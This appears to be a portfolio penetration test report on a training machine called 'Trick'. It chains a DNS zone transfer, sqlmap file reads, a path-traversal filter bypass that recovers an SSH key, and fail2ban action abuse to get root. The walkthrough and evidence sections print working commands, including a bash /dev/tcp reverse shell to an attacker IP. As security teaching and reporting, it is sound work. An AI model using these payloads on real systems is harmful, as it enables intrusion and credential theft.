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1 Portfolio Use & Disclaimer 
This  report  is  provided  as  a  portfolio  sample to  demonstrate  penetration  testing  methodology,
technical writing, risk communication, and remediation planning.

The  assessment  described  herein  was  performed  against  a  deliberately  vulnerable  training
environment intended  for  educational  use.  The  target  system  represents  a  simulated  client
environment and does not reflect the security posture of any real organization.

This document does not constitute legal advice.
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2 Engagement Contacts
Assessor Contact 

Assessor Name Title Assessor Contact Email

Joe Thompson Tester jthompson@archwarden.com
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3 Executive Summary
This  assessment  was  conducted  by  Joe  Thompson  as  a  network  penetration  test  of  a  simulated
externally facing Linux web environment. The objective was to identify security weaknesses, assess
potential  impact,  document  findings  in  a  clear  and  repeatable  manner,  and  provide  actionable
remediation recommendations.

3.1 Approach
Joe Thompson performed testing using a black-box approach, without credentials or prior knowledge
of the externally facing environment. The objective was to identify unknown weaknesses through non-
evasive  testing  techniques,  focusing  on  misconfigurations,  exposed  services,  and  exploitable
vulnerabilities.

Testing  was  conducted  remotely  from  Joe  Thompson's  assessment  environment.  Each  identified
weakness  was documented and manually  validated to  assess  exploitation feasibility  and potential
impact. Where initial access was obtained, additional testing was performed to evaluate the extent of
compromise, including privilege escalation and post-exploitation impact.

3.2 Scope
The scope of this assessment included the externally accessible host 10.129.227.180 . Testing focused
on identifying weaknesses that could allow unauthenticated access, credential compromise, privilege
escalation, and full compromise of the target environment.

In Scope Assets
Asset Type Description

External Host 10.129.227.180

3.3 Assessment Overview and Recommendations
During  this  assessment,  Joe  Thompson  identified  4  security  findings  affecting  the  confidentiality,
integrity, and availability of the assessed environment. The findings include 1 critical-risk finding, 2
high-risk findings, and 1 medium-risk finding.

Testing demonstrated that an unauthenticated attacker could enumerate hidden subdomains through
a DNS zone transfer,  exploit  SQL injection in a pre-production payroll  application to read sensitive
server files, bypass path traversal filtering in a marketing application to achieve Local File Inclusion,
and recover an SSH private key — gaining authenticated shell access. From there, a misconfigured
fail2ban action directory and a NOPASSWD sudo rule enabled full privilege escalation to root.

It is recommended that the assessed environment prioritise remediation of the SQL injection and LFI
vulnerabilities as immediate priorities, alongside removing the NOPASSWD sudo rule and restricting
write access to the fail2ban action configuration directory.
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4 Network Penetration Test Assessment
Summary
Joe Thompson conducted testing from the perspective of an unauthenticated external attacker with no
prior knowledge of the assessed environment. Testing focused on identifying exposed services and
weaknesses  accessible  from  the  target  host  without  relying  on  internal  system  configuration  or
architectural details.

4.1 Summary of Findings
During testing, Joe Thompson identified 4 findings that present varying levels of risk to the assessed
environment.  In  addition,  0  informational  observations  were  noted  which,  while  not  representing
direct  vulnerabilities,  highlight  opportunities  to  further  improve  overall  security  posture  and
monitoring capabilities. The chart below summarizes the distribution of identified findings by severity
level.

In the course of this penetration test 1 Critical, 2 High and 1 Medium vulnerabilities were identified: 

Figure 1 - Distribution of identified vulnerabilities

Below is a high-level overview of each finding identified during testing. These findings are covered in
depth in the Technical Findings Details section of this report. 
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# Severity Level Finding Name Page

1 9.8 (Critical) SQL Injection in Payroll Application Login Portal with FILE
Privilege Read Capability 14

2 7.8 (High) Privilege Escalation via Writable Fail2ban Action Configuration
and NOPASSWD Sudo Rule 21

3 7.5 (High) Local File Inclusion via Path Traversal Filter Bypass in Marketing
Application 29

4 5.3 (Medium) Unauthenticated DNS Zone Transfer Exposing Internal
Infrastructure 34
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5 Internal Network Compromise Walkthrough
During the assessment,  Joe Thompson was able to gain an initial  foothold through the externally
exposed attack surface and chain multiple weaknesses to achieve full root-level compromise of the
target host. The walkthrough below documents one successful attack path from initial access to full
compromise and does not represent all vulnerabilities identified during testing.

Any  issues  not  required  to  achieve  compromise  are  documented  as  standalone  findings  in  the
Technical  Findings  Details  section  and  ranked  by  severity.  The  purpose  of  this  attack  chain  is  to
demonstrate  how  individual  vulnerabilities  interact  to  increase  overall  risk  and  to  assist  with
remediation prioritisation.

5.1 Detailed Walkthrough
Joe Thompson performed the following to fully compromise the trick.htb host.

Identified exposed services through port enumeration and determined the domain name via
reverse DNS lookup
Discovered a hidden virtual host through DNS zone transfer
Exploited SQL injection in the payroll application login portal to read sensitive server files
Identified a second virtual host from the Nginx configuration file obtained via SQLi file read
Exploited a path traversal filter bypass in the marketing site to achieve Local File Inclusion (LFI)
Read the user SSH private key directly via LFI, leveraging PHP-FPM running as the target user
Established SSH access as michael  using the recovered private key
Abused writable fail2ban action configuration and a misconfigured sudo rule to execute a reverse
shell as root

Detailed reproduction steps for this attack chain are as follows:

1. Network Enumeration

A full TCP port scan was performed against the target host. Results identified four open ports: SSH
(22), SMTP (25), DNS (53), and HTTP (80). The HTTP server was identified as Nginx 1.14.2 running on
Linux. No domain name was present in the scan output.

2. Domain Discovery — Reverse DNS and Zone Transfer

With DNS exposed on port 53, a reverse lookup was performed against the target IP to recover the
domain name:

dig @10.129.227.180 -x 10.129.227.180

The  domain  trick.htb  was  identified  and  added  to  /etc/hosts .  A  DNS  zone  transfer  was  then
requested to enumerate all records in the domain:

dig @10.129.227.180 axfr trick.htb

The zone transfer  succeeded without  authentication,  returning all  DNS records for  the domain.  A
subdomain preprod-payroll.trick.htb  was identified and added to /etc/hosts .

3. SQL Injection — Payroll Application

1. 

2. 
3. 
4. 
5. 
6. 
7. 
8. 
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Navigating  to  preprod-payroll.trick.htb  revealed  an  employee  payroll  login  portal.  Default
credentials were unsuccessful. A login attempt was captured via Burp Suite and saved as request.txt .
SQLMap was run against the captured request:

sqlmap -r request.txt --batch --level=3 --risk=2

The username  POST parameter was found to be vulnerable to boolean-based blind, error-based, and
time-based  blind  SQL  injection.  The  database  user  was  identified  as  remo@localhost  with  FILE
privileges, allowing direct reads from the server filesystem.

The /etc/passwd  file was extracted to confirm file read capability:

sqlmap -r request.txt --batch --file-read=/etc/passwd

Review of the output confirmed a single interactive user account: michael  ( /home/michael , /bin/bash ).
All other accounts used /usr/sbin/nologin  or /bin/false .

4. Nginx Configuration Read — Second Virtual Host Discovery

The Nginx configuration file was extracted via the same SQLi file read capability:

sqlmap -r request.txt --batch --file-read=/etc/nginx/sites-enabled/default

The configuration revealed a second virtual host:  preprod-marketing.trick.htb ,  served from  /var/
www/market . This host was added to /etc/hosts .

5. Local File Inclusion — Path Traversal Filter Bypass

Navigating to preprod-marketing.trick.htb  revealed a site that loads content via a page  parameter. A
standard  path  traversal  attempt  returned  a  blank  page,  indicating  filtering  was  in  place.  Testing
confirmed that the  ../  sequence was being stripped. The filter was bypassed using doubled path
traversal sequences, which collapse back to ../  after the filter removes the inner ../ :

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd

/etc/passwd  was returned successfully, confirming Local File Inclusion.

6. LFI — SSH Key Recovery

The  PHP-FPM  process  context  was  confirmed  by  reading  /proc/self/cmdline ,  which  returned
php-fpm: pool michael  — indicating the web process was running as the local user  michael .  This
elevated the impact of the LFI significantly.

Michael's SSH private key was then recovered:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/
michael/.ssh/id_rsa

The private key was saved locally and permissions set appropriately:

chmod 600 id_rsa

7. Initial Foothold — SSH Access as michael

The recovered private key was used to authenticate via SSH:
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ssh -i id_rsa michael@10.129.227.180

Interactive shell access was established as michael .

8. Privilege Escalation — Fail2ban Action Abuse

Initial privilege escalation enumeration identified two relevant findings:

groups michael     # michael is a member of the 'security' group
sudo -l            # (root) NOPASSWD: /etc/init.d/fail2ban restart

michael  could restart the fail2ban service as root without a password. Investigation of the fail2ban
configuration directory revealed that the  action.d  subdirectory was owned by the  security  group
with write permissions.

Although iptables-multiport.conf  was owned by root, the writable directory allowed it to be replaced
via a move-and-copy technique:

cd /etc/fail2ban/action.d
mv iptables-multiport.conf temp.old
cp temp.old iptables-multiport.conf

The new copy was owned by michael . The actionban  directive was modified to execute a reverse shell
script:

actionban = /tmp/shell.sh

The reverse shell script was created and made executable:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.171/9001 0>&1

chmod +x /tmp/shell.sh

A listener was started on the attacker machine:

rlwrap nc -lvnp 9001

Fail2ban was restarted to load the modified configuration:

sudo /etc/init.d/fail2ban restart

Repeated  failed  SSH  authentication  attempts  were  made  against  the  target  to  trigger  the  ban
threshold.  After  five  to  six  failed  attempts,  the  source  IP  was  banned,  triggering  the  malicious
actionban  command and executing the reverse shell as root.

ARCHWARDEN

Joe Thompson Trick 11



6 Remediation Summary
As a result of this assessment, several opportunities were identified to strengthen the security posture
of  the  assessed  environment.  The  remediation  actions  below are  prioritised  to  address  the  most
impactful  issues  first,  beginning  with  those  that  can  be  implemented  with  minimal  effort  and
disruption. All remediation activities should be carefully planned, tested, and validated to minimise the
risk of service interruption or data loss.

6.1 Short Term
SHORT TERM REMEDIATION:

Disable DNS zone transfers to unauthenticated clients. Restrict AXFR requests to authorised
secondary DNS servers only via the allow-transfer  directive in the BIND configuration.
Patch the SQL injection vulnerability in the payroll application login form. Apply parameterised
queries or prepared statements to all user-supplied input. Remove FILE privileges from the
database user remo@localhost .
Restrict the sudo  rule granting michael  the ability to restart fail2ban without a password. This
privilege should require authentication and be assigned only to a dedicated administrative account.

6.2 Medium Term
MEDIUM TERM REMEDIATION:

Remediate the Local File Inclusion vulnerability in the marketing application. Validate and allowlist
the page  parameter against a fixed list of permitted filenames rather than filtering traversal
sequences — filter bypasses are well documented and reliable.
Reconfigure PHP-FPM to run the marketing site worker pool as www-data  rather than michael . A
web process running as a user with a home directory and SSH keys represents a significant
privilege boundary failure.
Restrict write permissions on /etc/fail2ban/action.d  to root only. The security  group should not
have write access to directories containing root-executed configuration files.

6.3 Long Term
LONG TERM REMEDIATION:

Conduct a full review of all virtual host configurations for input validation vulnerabilities. Any
application that uses user input to determine file paths should be considered a high-priority target
for LFI testing.
Implement a principle of least privilege review for all PHP-FPM pool configurations. Web application
pools should run as dedicated, unprivileged service accounts with no interactive shell, no home
directory access, and no SSH keys.
Audit all sudo  rules across the environment. Rules granting NOPASSWD  access to service restart
commands that load attacker-controllable configuration files represent a reliable privilege
escalation path and should be eliminated or replaced with tightly scoped alternatives.

• 

• 

• 

• 

• 

• 

• 

• 

• 
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Implement centralised logging and alerting for repeated authentication failures across SSH, and
monitor for unexpected outbound connections from server processes.

• 
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7 Technical Findings Details

1. SQL Injection in Payroll Application Login Portal with FILE
Privilege Read Capability - Critical

CWE CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
('SQL Injection')

CVSS 3.1 9.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Root Cause

The login form at preprod-payroll.trick.htb  was vulnerable to SQL injection via
the  username  POST  parameter.  The  database  user  ( remo@localhost )  was
configured with the MySQL FILE privilege, allowing direct reads from the server
filesystem through the LOAD_FILE()  function.

SQLMap  confirmed  boolean-based  blind,  error-based,  and  time-based  blind
injection in the  username  field. File read capability was validated by extracting  /
etc/passwd  and  the  Nginx  virtual  host  configuration,  which  revealed  a  second
internal  subdomain  ( preprod-marketing.trick.htb )  not  visible  through  DNS
enumeration.

Impact

Unauthenticated access to the application backend without valid credentials
Arbitrary file read from the server filesystem as the database user
Exposure of sensitive configuration files including Nginx virtual host definitions
Disclosure of local user accounts and home directory paths
Discovery of additional internal attack surface IMPACT

Affected
Component

Web application: preprod-payroll.trick.htb
Database user: remo@localhost
Vulnerable parameter: `username` (POST)

Remediation

Rewrite all database queries in the payroll application to use parameterised
queries or prepared statements
Revoke the FILE privilege from the database user remo@localhost ; application
accounts should never hold filesystem read privileges
Apply input validation and enforce allowlisting on all user-supplied fields at the
application boundary
Conduct a full code review of the application for additional injection points

References Finding 2

Finding Evidence
Payroll login portal: 

• 
• 
• 
• 
• 

• 
• 
• 

• 

• 

• 

• 
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Login request captured for SQLMap: 

SQLMap injection confirmed:

sqlmap -r request.txt --batch --level=3 --risk=2
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Database user FILE privilege confirmed: 
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/etc/passwd  extracted via file read:

sqlmap -r request.txt --batch --file-read=/etc/passwd
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Nginx configuration extracted, revealing second virtual host:

sqlmap -r request.txt --batch --file-read=/etc/nginx/sites-enabled/default
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The configuration confirmed preprod-marketing.trick.htb  served from /var/www/market .
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2. Privilege Escalation via Writable Fail2ban Action
Configuration and NOPASSWD Sudo Rule - High

CWE CWE-269 - Improper Privilege Management

CVSS 3.1 7.8 / CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Root Cause

The user michael  was a member of the security  group, which held write access
to  /etc/fail2ban/action.d/ .  Action  files  in  this  directory  are  executed  as  root
when fail2ban triggers a ban event. A separate  sudo  rule permitted  michael  to
restart the fail2ban service without a password.

By replacing iptables-multiport.conf  using a move-and-copy technique to bypass
root ownership,  michael  took ownership of the file and modified the  actionban
directive  to  execute  an  arbitrary  command.  Restarting  fail2ban  loaded  the
modified configuration, and triggering a ban event through repeated failed SSH
logins caused the root-level command to execute, delivering a reverse shell.

Impact

Full privilege escalation from local user to root
Complete compromise of the host operating system
Exposure of root flag and all root-accessible resources
Persistent root access via reverse shell

Affected
Component

Host: trick.htb (10.129.227.180)
Group: security (write access to `/
etc/fail2ban/action.d/`)

Sudo rule: `(root) NOPASSWD: /etc/
init.d/fail2ban restart`
Action file: `/etc/fail2ban/action.d/
iptables-multiport.conf`

Remediation

Remove write permissions on /etc/fail2ban/action.d/  from the security
group; this directory contains root-executed configuration and must be writable
by root only
Remove or restrict the NOPASSWD sudo rule granting michael  the ability to
restart fail2ban; service restart rules that load attacker-controllable
configuration are a reliable escalation path
Review all NOPASSWD sudo rules across the environment and require
authentication for any rule that could result in execution of attacker-influenced
content
Implement file integrity monitoring on /etc/fail2ban/action.d/  to alert on
unauthorised modifications

References Finding 4

Finding Evidence
Group membership and sudo rule identified:

groups michael

sudo -l

• 
• 
• 
• 

• 
• 

• 

• 

• 

• 

• 

• 
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Fail2ban directory owned by security group with write permissions:

ls -la /etc/fail2ban/
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Move-and-copy to take file ownership, then modify actionban directive:

cd /etc/fail2ban/action.d

mv iptables-multiport.conf temp.old

cp temp.old iptables-multiport.conf

nano iptables-multiport.conf

Original action file contents: 
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actionban = /tmp/shell.sh

Reverse shell script created and made executable:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.171/9001 0>&1
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Fail2ban restarted to load modified configuration:

sudo /etc/init.d/fail2ban restart

Listener started; ban triggered by repeated failed SSH logins:

rlwrap nc -lvnp 9001

ssh michael@trick.htb
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Root shell received: 
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3. Local File Inclusion via Path Traversal Filter Bypass in
Marketing Application - High

CWE CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path
Traversal')

CVSS 3.1 7.5 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Root Cause

The  marketing  application  at  preprod-marketing.trick.htb  loads  page  content
using  a  page  GET  parameter  without  adequate  input  validation.  A  filter  was
present  to  strip  ../  sequences,  but  it  was bypassable  using doubled traversal
sequences  ( ....// )  that  collapse  back  to  ../  after  the  filter  removes  the
inner ../ .

The PHP-FPM worker pool serving this application was configured to run as the
local user michael  rather than a dedicated web service account. This elevated the
impact  significantly  — any file  readable  by  michael  was accessible  via  the LFI,
including the SSH private key at /home/michael/.ssh/id_rsa .

Impact

Read of any file on the filesystem accessible to the michael  user account
Exposure of SSH private key enabling authenticated shell access to the host
Exposure of the user flag
Effective authentication bypass through private key recovery

Affected
Component

Web application: preprod-marketing.trick.htb
Vulnerable parameter: `page` (GET)
PHP-FPM pool: running as local user `michael`

Remediation

Replace the current filter-based path sanitisation with an allowlist of permitted
filenames; filter bypass techniques for ../  are well documented and reliable
Reconfigure the PHP-FPM worker pool to run as www-data  or a dedicated low-
privilege service account with no home directory and no SSH keys
Revoke and rotate the michael  SSH private key immediately; treat it as
compromised
Restrict the web root to only files required to serve legitimate application
content

References Finding 3

Finding Evidence
Marketing site content loaded via page  parameter: 

• 
• 
• 
• 

• 
• 
• 

• 

• 

• 

• 
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Path traversal filter bypass — ....//  collapses to ../  after the filter strips the inner ../ :

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//etc/passwd
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PHP-FPM process context confirmed — worker running as michael :

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//proc/self/
cmdline

SSH private key recovered via LFI:

http://preprod-marketing.trick.htb/index.php?page=....//....//....//....//....//home/
michael/.ssh/id_rsa

Access Confirmed:
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ssh -i id_rsa michael@10.129.227.180
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4. Unauthenticated DNS Zone Transfer Exposing Internal
Infrastructure - Medium

CWE CWE-306 - Missing Authentication for Critical Function

CVSS 3.1 5.3 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Root Cause

The DNS server running on  trick.htb  (10.129.227.180) was configured to allow
unauthenticated AXFR (zone transfer) requests. DNS zone transfers are intended
for synchronising zone data between authorised secondary DNS servers.  When
available to unauthenticated clients, they expose every DNS record in the zone in a
single query.

A reverse DNS lookup recovered the domain name trick.htb , and a subsequent
unauthenticated AXFR request returned all zone records, including the subdomain
preprod-payroll.trick.htb .  This  subdomain  hosted  a  vulnerable  payroll
application that served as the entry point for further exploitation.

Impact

Full enumeration of internal hostnames and subdomains without
authentication
Discovery of hidden or pre-production virtual hosts not linked from public
surfaces
Direct enablement of further attacks against exposed services

Affected
Component

DNS server: trick.htb (10.129.227.180)
Zone: trick.htb

Remediation

Restrict AXFR zone transfer requests to authorised secondary DNS servers only
via the allow-transfer  directive in the BIND configuration
Configure the BIND server to log and alert on zone transfer attempts from
unauthorised sources
Audit all DNS zones for records referencing internal-only or pre-production
hosts that should not be publicly enumerable

References Finding 1

Finding Evidence
Reverse DNS lookup to recover domain name:

dig @10.129.227.180 -x 10.129.227.180

• 

• 

• 

• 
• 

• 

• 

• 
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Unauthenticated zone transfer:

dig @10.129.227.180 axfr trick.htb

The zone transfer succeeded without authentication,  returning all  DNS records including  preprod-
payroll.trick.htb .
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A Appendix

A.1 Finding Severities
Each finding has been assigned a severity rating of critical, high, medium, low or info. The rating is
based off of an assessment of the priority with which each finding should be viewed and the potential
impact each has on the confidentiality, integrity, and availability of HTB’s data.

Rating CVSS Score Range

Critical 9.0 – 10.0

High 7.0 – 8.9

Medium 4.0 – 6.9

Low 0.1 – 3.9

Info 0.0
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A.2 Host & Service Discovery
The table below summarises hosts and services identified during the assessment through network
discovery and enumeration activities. This information reflects assets observed at the time of testing
and may change over time.

IP Address Port Service Notes

10.129.227.180 22 SSH OpenSSH 7.9p1 Debian

10.129.227.180 25 SMTP Postfix — local delivery only, relay denied

10.129.227.180 53 DNS ISC BIND 9.11.5 — zone transfers permitted unauthenticated

10.129.227.180 80 HTTP Nginx 1.14.2 — hosts multiple virtual hosts
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A.3 Subdomain Discovery
The table below lists virtual hosts identified during testing. Discovery methods may include passive
enumeration, active probing, or application-level analysis.

URL Description Discovery Method

trick.htb Primary domain — static holding page Reverse DNS lookup

preprod-
payroll.trick.htb

Employee payroll login portal — SQLi
vulnerable DNS zone transfer (AXFR)

preprod-
marketing.trick.htb

Marketing site — LFI vulnerable via page
parameter

Nginx config read via SQLi
file read
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A.4 Exploited Hosts
The table below summarises hosts that were successfully exploited during the assessment, including
the scope in which they were identified and the general method used to obtain access.

Host Scope Method Notes

trick.htb
(10.129.227.180)

Externa
l SQLi file read → LFI → SSH key recovery Initial access as

michael

trick.htb
(10.129.227.180)

Externa
l

Fail2ban action.d write → sudo restart →
actionban RCE Escalated to root
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A.5 Compromised Users
The table below lists  user accounts that  were compromised during the assessment,  including the
account type and the method by which access was obtained.

Username Type Method Notes

michael Local
user

LFI — SSH private key read from /home/
michael/.ssh/id_rsa

PHP-FPM running as
michael enabled key access

root Root Fail2ban actionban command injection via
writable action.d and NOPASSWD sudo restart

Reverse shell triggered by
repeated failed SSH logins
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A.6 Changes/Host Cleanup
The  table  below documents  any  changes  made  during  testing  that  require  cleanup  or  validation
following the assessment.

Host Scope Change / Cleanup Needed

trick.ht
b

/etc/fail2ban/
action.d

Restore original iptables-multiport.conf  — original backed up as tem
p.old  in the same directory

trick.ht
b /tmp Remove /tmp/shell.sh  created during privilege escalation
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A.7 Flags Discovered
The table below records validation artifacts obtained during testing to confirm successful exploitation
and access.

Flag
# Host Flag Value Flag Location Method Used

1 trick.h
tb

ea5e930b56ad873ff71f
2a943c6f6524

/home/michael/
user.txt

LFI via path traversal filter bypass —
PHP-FPM running as michael

2 trick.h
tb

ab6d971a6bec8956c12
969ea658ed9b0 /root/root.txt Fail2ban actionban command

injection → root reverse shell
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End of Report 
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